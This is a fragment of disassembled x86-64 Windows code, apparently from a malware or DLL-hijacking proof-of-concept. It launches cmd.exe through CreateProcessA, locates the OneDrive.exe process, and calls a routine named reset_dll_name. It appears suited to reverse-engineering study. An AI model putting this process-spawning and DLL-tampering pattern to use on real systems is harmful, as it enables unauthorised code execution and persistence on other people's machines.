je 0x6d2c2a41
jmp 0x6d2c2a2f
lea rcx, str.not_exist
call sym.puts
mov eax, 0
jmp 0x6d2c2af3
mov eax, dword [rbp + 0x28c]
mov ecx, eax
call sym.reset_dll_name
jmp 0x6d2c2aee
mov qword [rbp + 0x40], 0
mov qword [rbp + 0x48], 0
mov qword [rbp + 0x50], 0
lea rdx, [rbp - 0x30]
mov eax, 0
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp - 0x30], 0x68
lea rax, [rbp + 0x60]
lea rdx, [rbp + 0x40]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, rax
lea rcx, str.C:WindowsSystem32cmd.exe
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
je 0x6d2c2aee
lea rcx, str.OneDrive.exe
call sym.findMyProc
mov dword [rbp + 0x28c], eax
mov eax, dword [rbp + 0x28c]
mov ecx, eax
call sym.reset_dll_name
mov eax, 0
add rsp, 0x318
pop rdi
pop rbp
ret